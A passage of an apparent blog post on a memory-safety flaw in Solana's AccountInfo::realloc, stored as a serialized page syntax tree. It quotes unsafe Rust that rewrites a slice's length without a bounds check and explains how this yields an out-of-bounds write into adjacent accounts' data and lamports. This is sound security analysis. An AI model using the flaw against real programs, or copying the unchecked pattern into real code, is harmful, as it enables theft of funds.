Err",{"type":23,"tag":314,"props":14992,"children":14993},{"style":338},[14994],{"type":28,"value":341},{"type":23,"tag":314,"props":14996,"children":14997},{"style":2674},[14998],{"type":28,"value":14999},"InstructionError",{"type":23,"tag":314,"props":15001,"children":15002},{"style":354},[15003],{"type":28,"value":2737},{"type":23,"tag":314,"props":15005,"children":15006},{"style":2674},[15007],{"type":28,"value":15008},"ExecutableDataModified",{"type":23,"tag":314,"props":15010,"children":15011},{"style":338},[15012],{"type":28,"value":1025},{"type":23,"tag":314,"props":15014,"children":15015},{"class":316,"line":1351},[15016,15021,15025,15030,15034],{"type":23,"tag":314,"props":15017,"children":15018},{"style":338},[15019],{"type":28,"value":15020}," } ",{"type":23,"tag":314,"props":15022,"children":15023},{"style":2284},[15024],{"type":28,"value":2570},{"type":23,"tag":314,"props":15026,"children":15027},{"style":2284},[15028],{"type":28,"value":15029}," if",{"type":23,"tag":314,"props":15031,"children":15032},{"style":360},[15033],{"type":28,"value":14868},{"type":23,"tag":314,"props":15035,"children":15036},{"style":338},[15037],{"type":28,"value":1449},{"type":23,"tag":314,"props":15039,"children":15040},{"class":316,"line":1387},[15041,15045,15049,15053,15057,15061,15066],{"type":23,"tag":314,"props":15042,"children":15043},{"style":2284},[15044],{"type":28,"value":14985},{"type":23,"tag":314,"props":15046,"children":15047},{"style":2674},[15048],{"type":28,"value":14990},{"type":23,"tag":314,"props":15050,"children":15051},{"style":338},[15052],{"type":28,"value":341},{"type":23,"tag":314,"props":15054,"children":15055},{"style":2674},[15056],{"type":28,"value":14999},{"type":23,"tag":314,"props":15058,"children":15059},{"style":354},[15060],{"type":28,"value":2737},{"type":23,"tag":314,"props":15062,"children":15063},{"style":2674},[15064],{"type":28,"value":15065},"ExternalAccountDataModified",{"type":23,"tag":314,"props":15067,"children":15068},{"style":338},[15069],{"type":28,"value":1025},{"type":23,"tag":314,"props":15071,"children":15072},{"class":316,"line":1422},[15073,15077,15081],{"type":23,"tag":314,"props":15074,"children":15075},{"style":338},[15076],{"type":28,"value":15020},{"type":23,"tag":314,"props":15078,"children":15079},{"style":2284},[15080],{"type":28,"value":2570},{"type":23,"tag":314,"props":15082,"children":15083},{"style":338},[15084],{"type":28,"value":1449},{"type":23,"tag":314,"props":15086,"children":15087},{"class":316,"line":1430},[15088,15092,15096,15100,15104,15108,15113],{"type":23,"tag":314,"props":15089,"children":15090},{"style":2284},[15091],{"type":28,"value":14985},{"type":23,"tag":314,"props":15093,"children":15094},{"style":2674},[15095],{"type":28,"value":14990},{"type":23,"tag":314,"props":15097,"children":15098},{"style":338},[15099],{"type":28,"value":341},{"type":23,"tag":314,"props":15101,"children":15102},{"style":2674},[15103],{"type":28,"value":14999},{"type":23,"tag":314,"props":15105,"children":15106},{"style":354},[15107],{"type":28,"value":2737},{"type":23,"tag":314,"props":15109,"children":15110},{"style":2674},[15111],{"type":28,"value":15112},"ReadonlyDataModified",{"type":23,"tag":314,"props":15114,"children":15115},{"style":338},[15116],{"type":28,"value":1025},{"type":23,"tag":314,"props":15118,"children":15119},{"class":316,"line":1452},[15120],{"type":23,"tag":314,"props":15121,"children":15122},{"style":338},[15123],{"type":28,"value":2610},{"type":23,"tag":314,"props":15125,"children":15126},{"class":316,"line":1497},[15127],{"type":23,"tag":314,"props":15128,"children":15129},{"style":338},[15130],{"type":28,"value":386},{"type":23,"tag":837,"props":15132,"children":15134},{"id":15133},"back-to-realloc",[15135,15137],{"type":28,"value":15136},"Back to ",{"type":23,"tag":94,"props":15138,"children":15140},{"className":15139},[],[15141],{"type":28,"value":12886},{"type":23,"tag":24,"props":15143,"children":15144},{},[15145],{"type":28,"value":15146},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":304,"props":15148,"children":15149},{"className":2234,"code":13638,"language":2233,"meta":7,"style":7},[15150],{"type":23,"tag":94,"props":15151,"children":15152},{"__ignoreMap":7},[15153,15160,15247],{"type":23,"tag":314,"props":15154,"children":15155},{"class":316,"line":317},[15156],{"type":23,"tag":314,"props":15157,"children":15158},{"style":374},[15159],{"type":28,"value":13650},{"type":23,"tag":314,"props":15161,"children":15162},{"class":316,"line":370},[15163,15167,15171,15175,15179,15183,15187,15191,15195,15199,15203,15207,15211,15215,15219,15223,15227,15231,15235,15239,15243],{"type":23,"tag":314,"props":15164,"children":15165},{"style":321},[15166],{"type":28,"value":11035},{"type":23,"tag":314,"props":15168,"children":15169},{"style":360},[15170],{"type":28,"value":13104},{"type":23,"tag":314,"props":15172,"children":15173},{"style":354},[15174],{"type":28,"value":1237},{"type":23,"tag":314,"props":15176,"children":15177},{"style":321},[15178],{"type":28,"value":13044},{"type":23,"tag":314,"props":15180,"children":15181},{"style":354},[15182],{"type":28,"value":282},{"type":23,"tag":314,"props":15184,"children":15185},{"style":332},[15186],{"type":28,"value":13121},{"type":23,"tag":314,"props":15188,"children":15189},{"style":338},[15190],{"type":28,"value":13126},{"type":23,"tag":314,"props":15192,"children":15193},{"style":354},[15194],{"type":28,"value":2387},{"type":23,"tag":314,"props":15196,"children":15197},{"style":332},[15198],{"type":28,"value":13135},{"type":23,"tag":314,"props":15200,"children":15201},{"style":338},[15202],{"type":28,"value":13126},{"type":23,"tag":314,"props":15204,"children":15205},{"style":354},[15206],{"type":28,"value":282},{"type":23,"tag":314,"props":15208,"children":15209},{"style":332},[15210],{"type":28,"value":13148},{"type":23,"tag":314,"props":15212,"children":15213},{"style":338},[15214],{"type":28,"value":341},{"type":23,"tag":314,"props":15216,"children":15217},{"style":354},[15218],{"type":28,"value":1051},{"type":23,"tag":314,"props":15220,"children":15221},{"style":1054},[15222],{"type":28,"value":3330},{"type":23,"tag":314,"props":15224,"children":15225},{"style":338},[15226],{"type":28,"value":2343},{"type":23,"tag":314,"props":15228,"children":15229},{"style":321},[15230],{"type":28,"value":8094},{"type":23,"tag":314,"props":15232,"children":15233},{"style":354},[15234],{"type":28,"value":357},{"type":23,"tag":314,"props":15236,"children":15237},{"style":321},[15238],{"type":28,"value":2979},{"type":23,"tag":314,"props":15240,"children":15241},{"style":2674},[15242],{"type":28,"value":5114},{"type":23,"tag":314,"props":15244,"children":15245},{"style":338},[15246],{"type":28,"value":2278},{"type":23,"tag":314,"props":15248,"children":15249},{"class":316,"line":380},[15250,15254,15258,15262,15266,15270,15274],{"type":23,"tag":314,"props":15251,"children":15252},{"style":354},[15253],{"type":28,"value":256},{"type":23,"tag":314,"props":15255,"children":15256},{"style":360},[15257],{"type":28,"value":13196},{"type":23,"tag":314,"props":15259,"children":15260},{"style":354},[15261],{"type":28,"value":1237},{"type":23,"tag":314,"props":15263,"children":15264},{"style":360},[15265],{"type":28,"value":13205},{"type":23,"tag":314,"props":15267,"children":15268},{"style":321},[15269],{"type":28,"value":8080},{"type":23,"tag":314,"props":15271,"children":15272},{"style":2674},[15273],{"type":28,"value":5114},{"type":23,"tag":314,"props":15275,"children":15276},{"style":338},[15277],{"type":28,"value":2278},{"type":23,"tag":24,"props":15279,"children":15280},{},[15281,15286,15288,15293,15295,15300,15302,15313,15315,15320,15322,15327],{"type":23,"tag":94,"props":15282,"children":15284},{"className":15283},[],[15285],{"type":28,"value":13121},{"type":28,"value":15287}," gives us the ",{"type":23,"tag":94,"props":15289,"children":15291},{"className":15290},[],[15292],{"type":28,"value":14705},{"type":28,"value":15294}," from the ",{"type":23,"tag":94,"props":15296,"children":15298},{"className":15297},[],[15299],{"type":28,"value":14579},{"type":28,"value":15301},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":31,"props":15303,"children":15306},{"href":15304,"rel":15305},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[35],[15307],{"type":23,"tag":94,"props":15308,"children":15310},{"className":15309},[],[15311],{"type":28,"value":15312},"slice::as_mut_ptr()",{"type":28,"value":15314}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":94,"props":15316,"children":15318},{"className":15317},[],[15319],{"type":28,"value":7297},{"type":28,"value":15321}," - behind the data buffer), and then writes ",{"type":23,"tag":94,"props":15323,"children":15325},{"className":15324},[],[15326],{"type":28,"value":12970},{"type":28,"value":15328}," to it.",{"type":23,"tag":24,"props":15330,"children":15331},{},[15332,15334,15346,15348,15354],{"type":28,"value":15333},"This is reasonable... ",{"type":23,"tag":186,"props":15335,"children":15336},{},[15337,15339,15344],{"type":28,"value":15338},"as long as the ",{"type":23,"tag":94,"props":15340,"children":15342},{"className":15341},[],[15343],{"type":28,"value":249},{"type":28,"value":15345}," actually came from the serialized buffer",{"type":28,"value":15347},". We'll come back to this ",{"type":23,"tag":31,"props":15349,"children":15351},{"href":15350},"#Not-contracts",[15352],{"type":28,"value":15353},"later",{"type":28,"value":282},{"type":23,"tag":24,"props":15356,"children":15357},{},[15358,15360,15365],{"type":28,"value":15359},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":94,"props":15361,"children":15363},{"className":15362},[],[15364],{"type":28,"value":14705},{"type":28,"value":15366}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":304,"props":15368,"children":15370},{"className":2234,"code":15369,"language":2233,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[15371],{"type":23,"tag":94,"props":15372,"children":15373},{"__ignoreMap":7},[15374,15382,15509],{"type":23,"tag":314,"props":15375,"children":15376},{"class":316,"line":317},[15377],{"type":23,"tag":314,"props":15378,"children":15379},{"style":374},[15380],{"type":28,"value":15381},"// Then set the new length in the local slice\n",{"type":23,"tag":314,"props":15383,"children":15384},{"class":316,"line":370},[15385,15389,15393,15397,15401,15405,15409,15413,15417,15421,15425,15429,15433,15437,15441,15445,15449,15453,15457,15461,15465,15469,15473,15477,15481,15485,15489,15493,15497,15501,15505],{"type":23,"tag":314,"props":15386,"children":15387},{"style":321},[15388],{"type":28,"value":11035},{"type":23,"tag":314,"props":15390,"children":15391},{"style":360},[15392],{"type":28,"value":13104},{"type":23,"tag":314,"props":15394,"children":15395},{"style":354},[15396],{"type":28,"value":1237},{"type":23,"tag":314,"props":15398,"children":15399},{"style":354},[15400],{"type":28,"value":1968},{"type":23,"tag":314,"props":15402,"children":15403},{"style":321},[15404],{"type":28,"value":2979},{"type":23,"tag":314,"props":15406,"children":15407},{"style":354},[15408],{"type":28,"value":357},{"type":23,"tag":314,"props":15410,"children":15411},{"style":338},[15412],{"type":28,"value":13264},{"type":23,"tag":314,"props":15414,"children":15415},{"style":321},[15416],{"type":28,"value":12961},{"type":23,"tag":314,"props":15418,"children":15419},{"style":354},[15420],{"type":28,"value":282},{"type":23,"tag":314,"props":15422,"children":15423},{"style":338},[15424],{"type":28,"value":249},{"type":23,"tag":314,"props":15426,"children":15427},{"style":354},[15428],{"type":28,"value":282},{"type":23,"tag":314,"props":15430,"children":15431},{"style":332},[15432],{"type":28,"value":13285},{"type":23,"tag":314,"props":15434,"children":15435},{"style":338},[15436],{"type":28,"value":13290},{"type":23,"tag":314,"props":15438,"children":15439},{"style":321},[15440],{"type":28,"value":8094},{"type":23,"tag":314,"props":15442,"children":15443},{"style":354},[15444],{"type":28,"value":357},{"type":23,"tag":314,"props":15446,"children":15447},{"style":321},[15448],{"type":28,"value":346},{"type":23,"tag":314,"props":15450,"children":15451},{"style":2674},[15452],{"type":28,"value":5114},{"type":23,"tag":314,"props":15454,"children":15455},{"style":338},[15456],{"type":28,"value":431},{"type":23,"tag":314,"props":15458,"children":15459},{"style":354},[15460],{"type":28,"value":282},{"type":23,"tag":314,"props":15462,"children":15463},{"style":332},[15464],{"type":28,"value":13148},{"type":23,"tag":314,"props":15466,"children":15467},{"style":338},[15468],{"type":28,"value":341},{"type":23,"tag":314,"props":15470,"children":15471},{"style":1054},[15472],{"type":28,"value":3267},{"type":23,"tag":314,"props":15474,"children":15475},{"style":338},[15476],{"type":28,"value":2343},{"type":23,"tag":314,"props":15478,"children":15479},{"style":321},[15480],{"type":28,"value":8094},{"type":23,"tag":314,"props":15482,"children":15483},{"style":2674},[15484],{"type":28,"value":5114},{"type":23,"tag":314,"props":15486,"children":15487},{"style":338},[15488],{"type":28,"value":2343},{"type":23,"tag":314,"props":15490,"children":15491},{"style":321},[15492],{"type":28,"value":8094},{"type":23,"tag":314,"props":15494,"children":15495},{"style":354},[15496],{"type":28,"value":357},{"type":23,"tag":314,"props":15498,"children":15499},{"style":321},[15500],{"type":28,"value":2979},{"type":23,"tag":314,"props":15502,"children":15503},{"style":2674},[15504],{"type":28,"value":5114},{"type":23,"tag":314,"props":15506,"children":15507},{"style":338},[15508],{"type":28,"value":1025},{"type":23,"tag":314,"props":15510,"children":15511},{"class":316,"line":380},[15512,15516,15520,15524,15528,15532,15536],{"type":23,"tag":314,"props":15513,"children":15514},{"style":354},[15515],{"type":28,"value":256},{"type":23,"tag":314,"props":15517,"children":15518},{"style":360},[15519],{"type":28,"value":13196},{"type":23,"tag":314,"props":15521,"children":15522},{"style":354},[15523],{"type":28,"value":1237},{"type":23,"tag":314,"props":15525,"children":15526},{"style":360},[15527],{"type":28,"value":13205},{"type":23,"tag":314,"props":15529,"children":15530},{"style":321},[15531],{"type":28,"value":8080},{"type":23,"tag":314,"props":15533,"children":15534},{"style":2674},[15535],{"type":28,"value":5114},{"type":23,"tag":314,"props":15537,"children":15538},{"style":338},[15539],{"type":28,"value":2278},{"type":23,"tag":24,"props":15541,"children":15542},{},[15543,15545,15551,15553,15564,15566,15572,15574,15580,15582,15587,15589,15594,15596,15606,15607,15614,15615,15622,15629,15631,15637,15639,15645,15647,15652,15654,15659,15661,15667,15669,15674],{"type":28,"value":15544},"That ",{"type":23,"tag":94,"props":15546,"children":15548},{"className":15547},[],[15549],{"type":28,"value":15550},"as_ptr()",{"type":28,"value":15552}," call is ",{"type":23,"tag":31,"props":15554,"children":15557},{"href":15555,"rel":15556},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[35],[15558],{"type":23,"tag":94,"props":15559,"children":15561},{"className":15560},[],[15562],{"type":28,"value":15563},"RefCell::as_ptr()",{"type":28,"value":15565}," due to the ",{"type":23,"tag":94,"props":15567,"children":15569},{"className":15568},[],[15570],{"type":28,"value":15571},"Deref",{"type":28,"value":15573}," impl on ",{"type":23,"tag":94,"props":15575,"children":15577},{"className":15576},[],[15578],{"type":28,"value":15579},"Rc",{"type":28,"value":15581}," (remember also that ",{"type":23,"tag":94,"props":15583,"children":15585},{"className":15584},[],[15586],{"type":28,"value":14745},{"type":28,"value":15588}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":186,"props":15590,"children":15591},{},[15592],{"type":28,"value":15593},"get",{"type":28,"value":15595}," one through ",{"type":23,"tag":31,"props":15597,"children":15600},{"href":15598,"rel":15599},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[35],[15601],{"type":23,"tag":94,"props":15602,"children":15604},{"className":15603},[],[15605],{"type":28,"value":8054},{"type":28,"value":5713},{"type":23,"tag":31,"props":15608,"children":15611},{"href":15609,"rel":15610},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[35],[15612],{"type":28,"value":15613},"and",{"type":28,"value":5713},{"type":23,"tag":31,"props":15616,"children":15619},{"href":15617,"rel":15618},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[35],[15620],{"type":28,"value":15621},"frie",{"type":23,"tag":31,"props":15623,"children":15626},{"href":15624,"rel":15625},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[35],[15627],{"type":28,"value":15628},"nds",{"type":28,"value":15630},"). So from ",{"type":23,"tag":94,"props":15632,"children":15634},{"className":15633},[],[15635],{"type":28,"value":15636},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":28,"value":15638}," we get a ",{"type":23,"tag":94,"props":15640,"children":15642},{"className":15641},[],[15643],{"type":28,"value":15644},"*mut &mut [u8]",{"type":28,"value":15646}," - a ",{"type":23,"tag":186,"props":15648,"children":15649},{},[15650],{"type":28,"value":15651},"pointer",{"type":28,"value":15653}," to the ",{"type":23,"tag":186,"props":15655,"children":15656},{},[15657],{"type":28,"value":15658},"slice reference",{"type":28,"value":15660},". From here, we turn the pointer into a ",{"type":23,"tag":94,"props":15662,"children":15664},{"className":15663},[],[15665],{"type":28,"value":15666},"*const u64",{"type":28,"value":15668}," pointer and then offset by 1 ",{"type":23,"tag":94,"props":15670,"children":15672},{"className":15671},[],[15673],{"type":28,"value":7297},{"type":28,"value":15675}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":24,"props":15677,"children":15678},{},[15679,15681,15686,15688,15693,15695,15700,15702,15707,15709,15715],{"type":28,"value":15680},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":31,"props":15682,"children":15684},{"href":15683},"#Towards-safer-unsafe",[15685],{"type":28,"value":15353},{"type":28,"value":15687}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":94,"props":15689,"children":15691},{"className":15690},[],[15692],{"type":28,"value":7297},{"type":28,"value":15694}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":186,"props":15696,"children":15697},{},[15698],{"type":28,"value":15699},"reference",{"type":28,"value":15701}," (the ",{"type":23,"tag":94,"props":15703,"children":15705},{"className":15704},[],[15706],{"type":28,"value":14705},{"type":28,"value":15708},").So, what does ",{"type":23,"tag":94,"props":15710,"children":15712},{"className":15711},[],[15713],{"type":28,"value":15714},"&[T]",{"type":28,"value":15716}," look like in Rust?",{"type":23,"tag":24,"props":15718,"children":15719},{},[15720,15722,15729,15731,15744,15746,15752],{"type":28,"value":15721},"According to ",{"type":23,"tag":31,"props":15723,"children":15726},{"href":15724,"rel":15725},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[35],[15727],{"type":28,"value":15728},"the reference",{"type":28,"value":15730},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":31,"props":15732,"children":15735},{"href":15733,"rel":15734},"https://doc.rust-lang.org/reference/type-layout.html",[35],[15736,15738,15742],{"type":28,"value":15737},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":314,"props":15739,"children":15740},{},[15741],{"type":28,"value":8840},{"type":28,"value":15743}," we only document what is guaranteed today\"",{"type":28,"value":15745},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":94,"props":15747,"children":15749},{"className":15748},[],[15750],{"type":28,"value":15751},"rustc",{"type":28,"value":15753},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":304,"props":15755,"children":15757},{"className":306,"code":15756,"language":308,"meta":7,"style":7},"// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[15758],{"type":23,"tag":94,"props":15759,"children":15760},{"__ignoreMap":7},[15761,15769,15781,15798,15811],{"type":23,"tag":314,"props":15762,"children":15763},{"class":316,"line":317},[15764],{"type":23,"tag":314,"props":15765,"children":15766},{"style":374},[15767],{"type":28,"value":15768},"// C language\n",{"type":23,"tag":314,"props":15770,"children":15771},{"class":316,"line":370},[15772,15776],{"type":23,"tag":314,"props":15773,"children":15774},{"style":321},[15775],{"type":28,"value":8651},{"type":23,"tag":314,"props":15777,"children":15778},{"style":338},[15779],{"type":28,"value":15780}," slice_ref {\n",{"type":23,"tag":314,"props":15782,"children":15783},{"class":316,"line":380},[15784,15789,15793],{"type":23,"tag":314,"props":15785,"children":15786},{"style":321},[15787],{"type":28,"value":15788}," void",{"type":23,"tag":314,"props":15790,"children":15791},{"style":354},[15792],{"type":28,"value":256},{"type":23,"tag":314,"props":15794,"children":15795},{"style":338},[15796],{"type":28,"value":15797}," ptr;\n",{"type":23,"tag":314,"props":15799,"children":15800},{"class":316,"line":1091},[15801,15806],{"type":23,"tag":314,"props":15802,"children":15803},{"style":321},[15804],{"type":28,"value":15805}," size_t",{"type":23,"tag":314,"props":15807,"children":15808},{"style":338},[15809],{"type":28,"value":15810}," len;\n",{"type":23,"tag":314,"props":15812,"children":15813},{"class":316,"line":1141},[15814],{"type":23,"tag":314,"props":15815,"children":15816},{"style":338},[15817],{"type":28,"value":1545},{"type":23,"tag":24,"props":15819,"children":15820},{},[15821],{"type":28,"value":15822},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":84,"props":15824,"children":15825},{},[15826,15831,15849],{"type":23,"tag":88,"props":15827,"children":15828},{},[15829],{"type":28,"value":15830},"Slices are laid out in the precise manner described",{"type":23,"tag":88,"props":15832,"children":15833},{},[15834,15836,15842,15844],{"type":28,"value":15835},"Pointers and ",{"type":23,"tag":94,"props":15837,"children":15839},{"className":15838},[],[15840],{"type":28,"value":15841},"usize",{"type":28,"value":15843}," are the same width as ",{"type":23,"tag":94,"props":15845,"children":15847},{"className":15846},[],[15848],{"type":28,"value":7297},{"type":23,"tag":88,"props":15850,"children":15851},{},[15852,15853,15858],{"type":28,"value":92},{"type":23,"tag":94,"props":15854,"children":15856},{"className":15855},[],[15857],{"type":28,"value":14745},{"type":28,"value":15859}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":24,"props":15861,"children":15862},{},[15863,15865,15870,15872,15878,15880,15885,15887,15893,15895,15900,15902,15912],{"type":28,"value":15864},"Assumption #2 is ",{"type":23,"tag":186,"props":15866,"children":15867},{},[15868],{"type":28,"value":15869},"probably",{"type":28,"value":15871}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":94,"props":15873,"children":15875},{"className":15874},[],[15876],{"type":28,"value":15877},"borrow_mut",{"type":28,"value":15879}," of the ",{"type":23,"tag":94,"props":15881,"children":15883},{"className":15882},[],[15884],{"type":28,"value":14745},{"type":28,"value":15886}," (through ",{"type":23,"tag":94,"props":15888,"children":15890},{"className":15889},[],[15891],{"type":28,"value":15892},"AccountInfo::try_borrow_mut_data()",{"type":28,"value":15894},"), and ",{"type":23,"tag":94,"props":15896,"children":15898},{"className":15897},[],[15899],{"type":28,"value":14745},{"type":28,"value":15901}," is not usable between multiple threads",{"type":23,"tag":14716,"props":15903,"children":15904},{},[15905],{"type":23,"tag":31,"props":15906,"children":15910},{"href":15907,"ariaDescribedBy":15908,"dataFootnoteRef":7,"id":15909},"#user-content-fn-sendsync",[14723],"user-content-fnref-sendsync",[15911],{"type":28,"value":2378},{"type":28,"value":15913},", so we already have exclusive access.",{"type":23,"tag":24,"props":15915,"children":15916},{},[15917,15919,15923],{"type":28,"value":15918},"A few more ",{"type":23,"tag":186,"props":15920,"children":15921},{},[15922],{"type":28,"value":6363},{"type":28,"value":15924}," things of note, that could have gone badly but didn't:",{"type":23,"tag":127,"props":15926,"children":15927},{},[15928,15970],{"type":23,"tag":88,"props":15929,"children":15930},{},[15931,15933,15939,15941,15946,15948,15953,15955,15960,15962,15968],{"type":28,"value":15932},"By reborrowing the pointer (the ",{"type":23,"tag":94,"props":15934,"children":15936},{"className":15935},[],[15937],{"type":28,"value":15938},"&mut *(\u003Cvalue of type *mut u64>)",{"type":28,"value":15940},"), we've created a reference with an ",{"type":23,"tag":186,"props":15942,"children":15943},{},[15944],{"type":28,"value":15945},"unbounded lifetime",{"type":28,"value":15947},". Rust is free to infer ",{"type":23,"tag":186,"props":15949,"children":15950},{},[15951],{"type":28,"value":15952},"any",{"type":28,"value":15954}," lifetime for ",{"type":23,"tag":94,"props":15956,"children":15958},{"className":15957},[],[15959],{"type":28,"value":13196},{"type":28,"value":15961}," (including ",{"type":23,"tag":94,"props":15963,"children":15965},{"className":15964},[],[15966],{"type":28,"value":15967},"'static",{"type":28,"value":15969},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":88,"props":15971,"children":15972},{},[15973,15975,15981,15983,15988,15990,15995,15997,16002,16004,16009,16011,16016,16018,16023,16025,16031,16033,16038,16040,16045,16047,16052,16054,16059,16061,16066],{"type":28,"value":15974},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":94,"props":15976,"children":15978},{"className":15977},[],[15979],{"type":28,"value":15980},"RefMut",{"type":28,"value":15982}," returned from ",{"type":23,"tag":94,"props":15984,"children":15986},{"className":15985},[],[15987],{"type":28,"value":13121},{"type":28,"value":15989},", but the ",{"type":23,"tag":94,"props":15991,"children":15993},{"className":15992},[],[15994],{"type":28,"value":15980},{"type":28,"value":15996}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":94,"props":15998,"children":16000},{"className":15999},[],[16001],{"type":28,"value":13196},{"type":28,"value":16003}," a ",{"type":23,"tag":186,"props":16005,"children":16006},{},[16007],{"type":28,"value":16008},"mutable",{"type":28,"value":16010}," pointer to the ",{"type":23,"tag":94,"props":16012,"children":16014},{"className":16013},[],[16015],{"type":28,"value":14745},{"type":28,"value":16017},"'s data, but the ",{"type":23,"tag":94,"props":16019,"children":16021},{"className":16020},[],[16022],{"type":28,"value":14745},{"type":28,"value":16024}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":94,"props":16026,"children":16028},{"className":16027},[],[16029],{"type":28,"value":16030},"Mutex",{"type":28,"value":16032}," instead of a ",{"type":23,"tag":94,"props":16034,"children":16036},{"className":16035},[],[16037],{"type":28,"value":14745},{"type":28,"value":16039}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":94,"props":16041,"children":16043},{"className":16042},[],[16044],{"type":28,"value":13196},{"type":28,"value":16046}," and writing to it ",{"type":23,"tag":186,"props":16048,"children":16049},{},[16050],{"type":28,"value":16051},"and succeed",{"type":28,"value":16053},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":94,"props":16055,"children":16057},{"className":16056},[],[16058],{"type":28,"value":13196},{"type":28,"value":16060}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":94,"props":16062,"children":16064},{"className":16063},[],[16065],{"type":28,"value":249},{"type":28,"value":16067}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":24,"props":16069,"children":16070},{},[16071,16073,16078],{"type":28,"value":16072},"Ok, now that we've understood what the code is ",{"type":23,"tag":186,"props":16074,"children":16075},{},[16076],{"type":28,"value":16077},"trying",{"type":28,"value":16079}," to do, let's try to break it, shall we?",{"type":23,"tag":61,"props":16081,"children":16083},{"id":16082},"what-can-go-wrong",[16084],{"type":28,"value":16085},"What can go wrong?",{"type":23,"tag":837,"props":16087,"children":16089},{"id":16088},"contracts",[16090],{"type":28,"value":16091},"Contracts",{"type":23,"tag":24,"props":16093,"children":16094},{},[16095,16097,16102,16104,16109,16111,16116,16118,16123],{"type":28,"value":16096},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":94,"props":16098,"children":16100},{"className":16099},[],[16101],{"type":28,"value":12886},{"type":28,"value":16103},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":94,"props":16105,"children":16107},{"className":16106},[],[16108],{"type":28,"value":12886},{"type":28,"value":16110}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":94,"props":16112,"children":16114},{"className":16113},[],[16115],{"type":28,"value":14535},{"type":28,"value":16117}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":94,"props":16119,"children":16121},{"className":16120},[],[16122],{"type":28,"value":249},{"type":28,"value":16124}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":24,"props":16126,"children":16127},{},[16128,16130,16137],{"type":28,"value":16129},"There is ",{"type":23,"tag":31,"props":16131,"children":16134},{"href":16132,"rel":16133},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[35],[16135],{"type":28,"value":16136},"a check",{"type":28,"value":16138}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":304,"props":16140,"children":16142},{"className":2234,"code":16141,"language":2233,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[16143],{"type":23,"tag":94,"props":16144,"children":16145},{"__ignoreMap":7},[16146,16184,16214,16221,16254],{"type":23,"tag":314,"props":16147,"children":16148},{"class":316,"line":317},[16149,16153,16158,16162,16166,16170,16174,16179],{"type":23,"tag":314,"props":16150,"children":16151},{"style":2284},[16152],{"type":28,"value":14821},{"type":23,"tag":314,"props":16154,"children":16155},{"style":360},[16156],{"type":28,"value":16157}," 